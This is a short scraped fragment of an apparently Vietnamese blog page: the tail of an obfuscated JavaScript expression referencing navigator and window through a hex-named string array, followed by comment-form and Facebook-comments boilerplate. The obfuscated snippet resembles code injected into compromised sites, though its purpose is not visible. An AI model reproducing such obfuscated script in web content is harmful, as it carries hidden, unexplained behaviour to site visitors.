navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Web Comments

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Facebook Comments

%d bloggers like this: